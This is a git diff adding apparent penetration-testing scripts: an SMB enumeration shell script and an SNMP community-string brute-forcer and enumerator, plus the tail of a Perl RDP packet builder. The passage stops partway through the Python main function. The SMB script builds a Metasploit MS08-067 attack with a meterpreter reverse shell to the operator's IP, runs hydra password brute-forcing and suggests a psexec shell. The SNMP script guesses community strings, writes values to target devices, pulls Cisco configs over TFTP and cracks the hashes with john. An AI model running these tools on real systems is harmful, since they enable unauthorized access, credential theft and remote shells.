c0 0c 00 + ); + push @packet_hex, $enc_hex; + push @packet_hex, qw(00 00 00 00 00 00 00 03 c0 20 00 02 00 00 00 + 63 6c 69 70 72 64 72 00 c0 a0 00 00 72 64 70 64 + 72 00 00 00 80 80 00 00 + ); + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +# MS-RDPBCGR +sub get_x224_connection_request { + my $sec = shift; + my @packet_hex; + push @packet_hex, qw(03); # tpktHeader - version + push @packet_hex, qw(00); # tpktHeader - reserved + push @packet_hex, qw(00 13); # tpktHeader - length + push @packet_hex, qw(0e); # x224Crq - length + push @packet_hex, qw(e0); # x224Crq - connection request + push @packet_hex, qw(00 00); # x224Crq - ?? + push @packet_hex, qw(00 00); # x224Crq - src-ref + push @packet_hex, qw(00); # x224Crq - class + push @packet_hex, qw(01); # rdpNegData - type + push @packet_hex, qw(00); # rdpNegData - flags + push @packet_hex, qw(08 00); # rdpNegData - length + push @packet_hex, ($sec, qw(00 00 00)); # rdpNegData - requestedProtocols. bitmask, little endian: 0=standard rdp security, 1=TLSv1, 2=Hybrid (CredSSP) + + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +sub get_old_connection_request { + my @packet_hex = qw( + 03 00 00 22 1d e0 00 00 00 00 + 00 43 6f 6f 6b 69 65 3a 20 6d 73 74 73 68 61 73 + 68 3d 72 6f 6f 74 0d 0a + ); + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +sub get_socket { + my ($ip, $port) = @_; + my $socket = undef; + my $failcount = 0; + while (!defined($socket)) { + $global_connection_count++; + eval { + local $SIG{ALRM} = sub { die "alarm\n" }; + alarm($global_recv_timeout); + $socket = new IO::Socket::INET ( + PeerHost => $ip, + PeerPort => $port, + Proto => 'tcp', + ) or print "WARNING in Socket Creation : $!\n"; + alarm(0); + }; + if ($@) { + print "[W] Timeout on connect. Retrying...\n"; + return undef; + } + unless (defined($socket)) { + $failcount++; + } + if ($failcount > $global_connect_fail_count) { + die "ERROR: failed to connect $global_connect_fail_count times\n"; + } + } + return $socket; +} + +sub print_section { + my ($string) = @_; + print "\n=== $string ===\n\n"; +} + +sub resolve { + my $hostname = shift; + print "[D] Resolving $hostname\n" if $debug > 0; + my $ip = gethostbyname($hostname); + if (defined($ip)) { + return inet_ntoa($ip); + } else { + return undef; + } +} + +# Perl Cookbook, Tie Example: Multiple Sink Filehandles +package Tie::Tee; + +sub TIEHANDLE { + my $class = shift; + my $handles = [@_]; + bless $handles, $class; + return $handles; +} + +sub PRINT { + my $href = shift; + my $handle; + my $success = 0; + foreach $handle (@$href) { + $success += print $handle @_; + } + return $success == @$href; +} + +sub PRINTF { + my $href = shift; + my $handle; + my $success = 0; + foreach $handle (@$href) { + $success += printf $handle @_; + } + return $success == @$href; +} + +1; + diff --git a/scripts/smbenum.sh b/scripts/smbenum.sh new file mode 100644 index 00000000..34e11b40 --- /dev/null +++ b/scripts/smbenum.sh @@ -0,0 +1,79 @@ +#!/bin/bash +# smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal +# SECFORCE - Antonio Quina +# All credits to Bernardo Damele A. G. for the ms08-067_check.py script + +IFACE="eth0" + +if [ $# -eq 0 ] + then + echo "Usage: $0 " + echo "eg: $0 10.10.10.10" + exit + else + IP="$1" +fi + +echo -e "\n########## Getting Netbios name ##########" +nbtscan -v -h $IP + +echo -e "\n########## Checking for NULL sessions ##########" +output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"` +echo $output + +echo -e "\n########## Enumerating domains ##########" +bash -c "echo 'enumdomains' | rpcclient $IP -U%" + +echo -e "\n########## Enumerating password and lockout policies ##########" +polenum $IP + +echo -e "\n########## Enumerating users ##########" +nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP +bash -c "echo 'enumdomusers' | rpcclient $IP -U%" +bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt + +echo -e "\n########## Enumerating Administrators ##########" +net rpc group members "Administrators" -I $IP -U% + +echo -e "\n########## Enumerating Domain Admins ##########" +net rpc group members "Domain Admins" -I $IP -U% + +echo -e "\n########## Enumerating groups ##########" +nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP + +echo -e "\n########## Enumerating shares ##########" +nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP + +#echo -e "\n########## Checking for common vulnerabilities ##########" +#nmap -Pn -T4 -sS -p139,445 --script=smb-check-vulns $IP +#nmap -Pn -T4 -sS -p139,445 --script=smb-check-vulns --script-args=unsafe=1 $IP +#echo -e "\nChecking for MS08-067 with metasploit. It could take a while.." +#vulnerable=`msfcli exploits/windows/smb/ms08_067_netapi RHOST=$IP C` +echo -e "\nChecking for MS08-067.." +vulnerable=`python ./scripts/ms08-067_check.py -t $IP -s` +echo $vulnerable + +#if [[ $vulnerable == *"The target is vulnerable"* ]] +if [[ $vulnerable == *"VULNERABLE"* ]] + then + echo "Oh yeah! The target is vulnerable!" + MYIP=$(ifconfig $IFACE | awk -F'[: ]+' '/inet addr:/ {print $4}') + echo "use exploits/windows/smb/ms08_067_netapi" > /tmp/$IP-netapi.rc + echo "set payload windows/meterpreter/reverse_tcp" >> /tmp/$IP-netapi.rc + echo "set RHOST $IP" >> /tmp/$IP-netapi.rc + echo "set LHOST $MYIP" >> /tmp/$IP-netapi.rc + echo "set LPORT 443" >> /tmp/$IP-netapi.rc + echo "set ExitOnSession false" >> /tmp/$IP-netapi.rc + echo "exploit -j" >> /tmp/$IP-netapi.rc + + echo -e "\nTo exploit this host now use:" + echo -e "msfconsole -r /tmp/$IP-netapi.rc" + else + echo "The target is NOT vulnerable!" + echo -e "\n########## Bruteforcing all users with 'password', blank and username as password" + hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1 + rm /tmp/$IP-users.txt + + echo -e "\n\nTo get a shell use:" + echo -e "/usr/local/bin/psexec.py :@$IP cmd.exe\n" +fi diff --git a/scripts/snmpbrute.py b/scripts/snmpbrute.py new file mode 100644 index 00000000..3e13709c --- /dev/null +++ b/scripts/snmpbrute.py @@ -0,0 +1,789 @@ +#!/usr/bin/env python +# SNMP Bruteforce & Enumeration Script +# Requires metasploit, snmpwalk, snmpstat and john the ripper +__version__ = 'v1.0b' +from socket import socket, SOCK_DGRAM, AF_INET, timeout +from random import randint +from time import sleep +import optparse, sys, os +from subprocess import Popen, PIPE +import struct +import threading, thread +import tempfile + +from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS, + SNMPset, SNMPbulk, IP) + +########################################################################################################## +# Defaults +########################################################################################################## +class defaults: + rate=30.0 + timeOut=2.0 + port=161 + delay=2 + interactive=True + verbose=False + getcisco=True + colour=True + +default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI'] + +########################################################################################################## +# OID's +########################################################################################################## +''' Credits +Some OID's borowed from Cisc0wn script +# Cisc0wn - The Cisco SNMP 0wner. +# Daniel Compton +# www.commonexploits.com +# contact@commexploits.com +''' + +RouteOIDS={ + 'ROUTDESTOID': [".1.3.6.1.2.1.4.21.1.1", "Destination"], + 'ROUTHOPOID': [".1.3.6.1.2.1.4.21.1.7", "Next Hop"], + 'ROUTMASKOID': [".1.3.6.1.2.1.4.21.1.11", "Mask"], + 'ROUTMETOID': [".1.3.6.1.2.1.4.21.1.3", "Metric"], + 'ROUTINTOID': [".1.3.6.1.2.1.4.21.1.2", "Interface"], + 'ROUTTYPOID': [".1.3.6.1.2.1.4.21.1.8", "Route type"], + 'ROUTPROTOID': [".1.3.6.1.2.1.4.21.1.9", "Route protocol"], + 'ROUTAGEOID': [".1.3.6.1.2.1.4.21.1.10", "Route age"] +} + +InterfaceOIDS={ + #Interface Info + 'INTLISTOID': [".1.3.6.1.2.1.2.2.1.2", "Interfaces"], + 'INTIPLISTOID': [".1.3.6.1.2.1.4.20.1.1", "IP address"], + 'INTIPMASKOID': [".1.3.6.1.2.1.4.20.1.3", "Subnet mask"], + 'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"] +} + +ARPOIDS={ + # Arp table + 'ARPADDR': [".1.3.6.1.2.1.3.1 ","ARP address method A"], + 'ARPADDR2': [".1.3.6.1.2.1.3.1 ","ARP address method B"] +} + +OIDS={ + 'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"] +} + +snmpstat_args={ + 'Interfaces':["-Ci","Interface Info"], + 'Routing':["-Cr","Route Info"], + 'Netstat':["","Netstat"], + #'Statistics':["-Cs","Stats"] +} + +'''Credits +The following OID's are borrowed from snmpenum.pl script +# ----by filip waeytens 2003---- +# ---- DA SCANIT CREW www.scanit.be ---- +# filip.waeytens@hushmail.com +''' + +WINDOWS_OIDS={ + 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], + 'INSTALLED SOFTWARE': ["1.3.6.1.2.1.25.6.3.1.2","Installed Software"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'DOMAIN': ["1.3.6.1.4.1.77.1.4.1","Domain"], + 'USERS': ["1.3.6.1.4.1.77.1.2.25","Users"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'SHARES': ["1.3.6.1.4.1.77.1.2.27","Shares"], + 'DISKS': ["1.3.6.1.2.1.25.2.3.1.3","Disks"], + 'SERVICES': ["1.3.6.1.4.1.77.1.2.3.1.1","Services"], + 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"], + 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"] +} + +LINUX_OIDS={ + 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'MOUNTPOINTS': ["1.3.6.1.2.1.25.2.3.1.3","MountPoints"], + 'RUNNING SOFTWARE PATHS': ["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"], + 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"], + 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"] +} + +CISCO_OIDS={ + 'LAST TERMINAL USERS': ["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"], + 'INTERFACES': ["1.3.6.1.2.1.2.2.1.2","Interfaces"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'SNMP Communities': ["1.3.6.1.6.3.12.1.3.1.4","Communities"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'IP ADDRESSES': ["1.3.6.1.2.1.4.20.1.1","IP Addresses"], + 'INTERFACE DESCRIPTIONS': ["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"], + 'HARDWARE': ["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"], + 'TACACS SERVER': ["1.3.6.1.4.1.9.2.1.5","TACACS Server"], + 'LOG MESSAGES': ["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"], + 'PROCESSES': ["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"], + 'SNMP TRAP SERVER': ["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"] +} + +########################################################################################################## +# Classes +########################################################################################################## + +class SNMPError(Exception): + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + pass + +class SNMPVersion: + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + v1 = 0 + v2c = 1 + v3 = 2 + + @classmethod + def iversion(cls, v): + if v in ['v1', '1']: + return cls.v1 + elif v in ['v2', '2', 'v2c']: + return cls.v2c + elif v in ['v3', '3']: + return cls.v3 + raise ValueError('No such version %s' % v) + + @classmethod + def sversion(cls, v): + if not v: + return 'v1' + elif v == 1: + return 'v2c' + elif v == 2: + return 'v3' + raise ValueError('No such version number %s' % v) + +class SNMPBruteForcer(object): + #This class is used for the sploitego method of bruteforce (--sploitego) + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000): + self.version = SNMPVersion.iversion(version) + self.s = socket(AF_INET, SOCK_DGRAM) + self.s.settimeout(timeout) + self.addr = (agent, port) + self.rate = rate + + def guess(self, communities): + + p = SNMP( + version=self.version, + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + r = [] + for c in communities: + i = randint(0, 2147483647) + p.PDU.id = i + p.community = c + self.s.sendto(str(p), self.addr) + sleep(1/self.rate) + while True: + try: + p = SNMP(self.s.recvfrom(65535)[0]) + except timeout: + break + r.append(p.community.val) + return r + + def __del__(self): + self.s.close() + +class SNMPResults: + addr='' + version='' + community='' + write=False + + def __eq__(self, other): + return self.addr == other.addr and self.version == other.version and self.community == other.community + +########################################################################################################## +# Colour output functions +########################################################################################################## + +# for color output +BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) + +#following from Python cookbook, #475186 +def has_colours(stream): + if not hasattr(stream, "isatty"): + return False + if not stream.isatty(): + return False # auto color only on TTYs + try: + import curses + curses.setupterm() + return curses.tigetnum("colors") > 2 + except: + # guess false in case of error + return False +has_colours = has_colours(sys.stdout) + +def printout(text, colour=WHITE): + + if has_colours and defaults.colour: + seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n" + sys.stdout.write(seq) + else: + #sys.stdout.write(text) + print text + + +########################################################################################################## +# +########################################################################################################## + +def banner(art=True): + if art: + print >> sys.stderr, " _____ _ ____ _______ ____ __ " + print >> sys.stderr, " / ___// | / / |/ / __ \\ / __ )_______ __/ /____ " + print >> sys.stderr, " \\__ \\/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \\" + print >> sys.stderr, " ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/" + print >> sys.stderr, "/____/_/ |_/_/ /_/_/ /_____/_/ \\__,_/\\__/\\___/ " + print >> sys.stderr, "" + print >> sys.stderr, "SNMP Bruteforce & Enumeration Script " + __version__ + print >> sys.stderr, "http://www.secforce.com / nikos.vassakis secforce.com" + print >> sys.stderr, "###############################################################" + print >> sys.stderr, "" + +def listener(sock,results): + while True: + try: + response,addr=SNMPrecv(sock) + except timeout: + continue + except KeyboardInterrupt: + break + except: + break + r=SNMPResults() + r.addr=addr + r.version=SNMPVersion.sversion(response.version.val) + r.community=response.community.val + results.append(r) + printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE) + +def SNMPrecv(sock): + try: + recv,addr=sock.recvfrom(65535) + response = SNMP(recv) + return response,addr + except: + raise + +def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate): + addr = (ip, port) + for packet in packets: + i = randint(0, 2147483647) + packet.PDU.id = i + packet.community = community + sock.sendto(str(packet), addr) + sleep(1/rate) + +def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut): + s = socket(AF_INET, SOCK_DGRAM) + s.settimeout(TimeOut) + response='' + r=result + + version = SNMPVersion.iversion(r.version) + if value: + p = SNMP( + version=version, + PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)]) + ) + else: + p = SNMP( + version=version, + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))]) + ) + + SNMPsend(s,p,r.addr[0],r.addr[1],r.community) + for x in range(0, 5): + try: + response,addr=SNMPrecv(s) + break + except timeout: # if request times out retry + sleep(0.5) + continue + s.close + if not response: + raise timeout + return response + +def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'): + #Alt .1.3.6.1.2.1.1.5.0 + + setval='HASH(0xDEADBEF)' + for r in results: + try: + originalval=SNMPRequest(r,OID) + + if originalval: + originalval=originalval[SNMPvarbind].value.val + + SNMPRequest(r,OID,setval) + curval=SNMPRequest(r,OID)[SNMPvarbind].value.val + + if curval == setval: + r.write=True + try: + SNMPRequest(r,OID,originalval) + except timeout: + pass + if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN) + curval=SNMPRequest(r,OID)[SNMPvarbind].value.val + if curval != originalval: + printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED) + else: + if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE) + else: + r.write=None + printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED) + except timeout: + r.write=None + printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED) + continue + +def generic_snmpwalk(snmpwalk_args,oids): + for key, val in oids.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() + + print '\tINFO' + print '\t----\t' + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + +def enumerateSNMPWalk(result,options): + r=result + + snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1]) + + ############################################################### Enumerate OS + if options.windows: + generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS) + return + if options.linux: + generic_snmpwalk(snmpwalk_args,LINUX_OIDS) + return + if options.cisco: + generic_snmpwalk(snmpwalk_args,CISCO_OIDS) + + ############################################################### Enumerate CISCO Specific + ############################################################### Enumerate Routes + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines() + lines = len(out) + + printout('################## Enumerating Routing Table (snmpwalk)',YELLOW) + try: + for key, val in RouteOIDS.items(): #Enumerate Routes + #print '\t *',val[1], val[0] + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines() + + entry[val[1]]=out + + + print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge' + print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---' + for j in range(lines): + print( '\t'+entry['Destination'][j].strip().ljust(12,' ') + + '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') + + '\t'+entry['Mask'][j].strip().ljust(12,' ') + + '\t\t'+entry['Metric'][j].strip().center(6,' ') + + '\t'+entry['Interface'][j].strip().center(10,' ') + + '\t'+entry['Route type'][j].strip().center(4,' ') + + '\t'+entry['Route protocol'][j].strip().center(8,' ') + + '\t'+entry['Route age'][j].strip().center(3,' ') + ) + except KeyboardInterrupt: + pass + + ############################################################### Enumerate Arp + print '\n' + for key, val in ARPOIDS.items(): + try: + printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines() + + lines=len(out)/3 + + entry['V']=out[0*lines:1*lines] + entry['MAC']=out[1*lines:2*lines] + entry['IP']=out[2*lines:3*lines] + + + print '\tIP\t\tMAC\t\t\tV' + print '\t--\t\t---\t\t\t--' + for j in range(lines): + print( '\t'+entry['IP'][j].strip().ljust(12,' ') + + '\t'+entry['MAC'][j].strip().ljust(18,' ') + + '\t'+entry['V'][j].strip().ljust(2,' ') + ) + print '\n' + except KeyboardInterrupt: + pass + + ############################################################### Enumerate SYSTEM + for key, val in OIDS.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() + + print '\tINFO' + print '\t----\t' + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + ############################################################### Enumerate Interfaces + for key, val in snmpstat_args.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines() + + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + +def get_cisco_config(result,options): + printout(('################## Trying to get config with: %s'% result.community),YELLOW) + + identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read() + + if options.interactive: + Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip() + else: + Local_ip = identified_ip.strip() + + if not (os.path.isdir("./output")): + os.popen('mkdir output') + + p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1 + + + print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ' + + out=[] + while p.poll() is None: + line=p.stdout.readline() + out.append(line) + print '\t',line.strip() + + printout('################## Passwords Found:',YELLOW) + encrypted=[] + for i in out: + if "Password" in i: + print '\t',i.strip() + if "Encrypted" in i: + encrypted.append(i.split()[-1]) + + if encrypted: + print '\nCrack encrypted password(s)?' + for i in encrypted: + print '\t',i + + #if (False if raw_input("(Y/n):").lower() == 'n' else True): + if not get_input("(Y/n):",'n',options): + + with open('./hashes', 'a') as f: + for i in encrypted: + f.write(i+'\n') + + p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE) + while p.poll() is None: + print '\t',p.stdout.readline() + print 'Passwords Cracked:' + out=os.popen('john ./hashes --show').readlines() + for i in out: + print '\t', i.strip() + + out=[] + while p.poll() is None: + line=p.stdout.readline() + out.append(line) + print '\t',line.strip() + +def select_community(results,options): + default=None + try: + printout("\nIdentified Community strings",WHITE) + + for l,r in enumerate(results): + if r.write==True: + printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN) + default=l + elif r.write==False: + printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE) + else: + printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED) + + if default is None: + default = l + + if not options.enum: + return + + if options.interactive: + selection=raw_input("Select Community to Enumerate ["+str(default)+"]:") + if not selection: + selection=default + else: + selection=default + + try: + return results[int(selection)] + except: + return results[l] + except KeyboardInterrupt: + exit(0) + +def SNMPenumeration(result,options): + getcisco=defaults.getcisco + try: + printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW) + enumerateSNMPWalk(result,options) + + if options.windows or options.linux: + if not get_input("Get Cisco Config (y/N):",'y',options): + getcisco=False + if getcisco: + get_cisco_config(result,options) + except KeyboardInterrupt: + print '\n' + return + +def password_brutefore(options, communities, ips): + s = socket(AF_INET, SOCK_DGRAM) + s.settimeout(options.timeOut) + + results=[] + + #Start the listener + T = threading.Thread(name='listener', target=listener, args=(s,results,)) + T.start() + + # Craft SNMP's for both versions + p1 = SNMP( + version=SNMPVersion.iversion('v1'), + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + p2c = SNMP( + version=SNMPVersion.iversion('v2c'), + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + + packets = [p1, p2c] + + #We try each community string + for i,community in enumerate(communities): + #sys.stdout.write('\r{0}'.format('.' * i)) + #sys.stdout.flush() + for ip in ips: + SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate) + + #We read from STDIN if necessary + if options.stdin: + while True: + try: + try: + community=raw_input().strip('\n') + for ip in ips: + SNMPsend(s, packets, ip, options.port, community, options.rate) + except EOFError: + break + except KeyboardInterrupt: + break + + try: + print "Waiting for late packets (CTRL+C to stop)" + sleep(options.timeOut+options.delay) #Waiting in case of late response + except KeyboardInterrupt: + pass + T._Thread__stop() + s.close + + #We remove any duplicates. This relies on the __equal__ + newlist = [] + for i in results: + if i not in newlist: + newlist.append(i) + return newlist + +def get_input(string,non_default_option,options): + #(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False) + + if options.interactive: + if raw_input(string).lower() == non_default_option: + return True + else: + return False + else: + print string + return False + +def main(): + + parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter()) + + parser.set_usage("python snmp-brute.py -t -f ") + #parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help()) + parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store') + parser.add_option('-t','--target', help='Host IP', dest='ip', action='store') + parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port) + + + groupAlt = optparse.OptionGroup(parser, "Alternative Options") + groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False) + groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store') + groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False) + + + groupAuto = optparse.OptionGroup(parser, "Automation") + groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True) + groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True) + groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True) + + groupAdvanced = optparse.OptionGroup(parser, "Advanced") + groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate) + groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut) + groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay) + + groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store') + groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False) + + groupOS = optparse.OptionGroup(parser, "Operating Systems") + groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False) + groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False) + groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False) + + parser.add_option_group(groupAdvanced) + parser.add_option_group(groupAuto) + parser.add_option_group(groupOS) + parser.add_option_group(groupAlt) + + (options, arguments) = parser.parse_args() + + communities=[] + ips=[] + + banner(options.colour) #For SPARTA!!! + + if not options.ip and not options.lfile: + #Can't continue without target + parser.print_help() + exit(0) + else: + # Create the list of targets + if options.lfile: + try: + with open(options.lfile) as t: + ips = t.read().splitlines() #Potential DoS + except: + print "Could not open targets file: " + options.lfile + exit(0) + else: + ips.append(options.ip) + + if not options.colour: + defaults.colour=False + + # 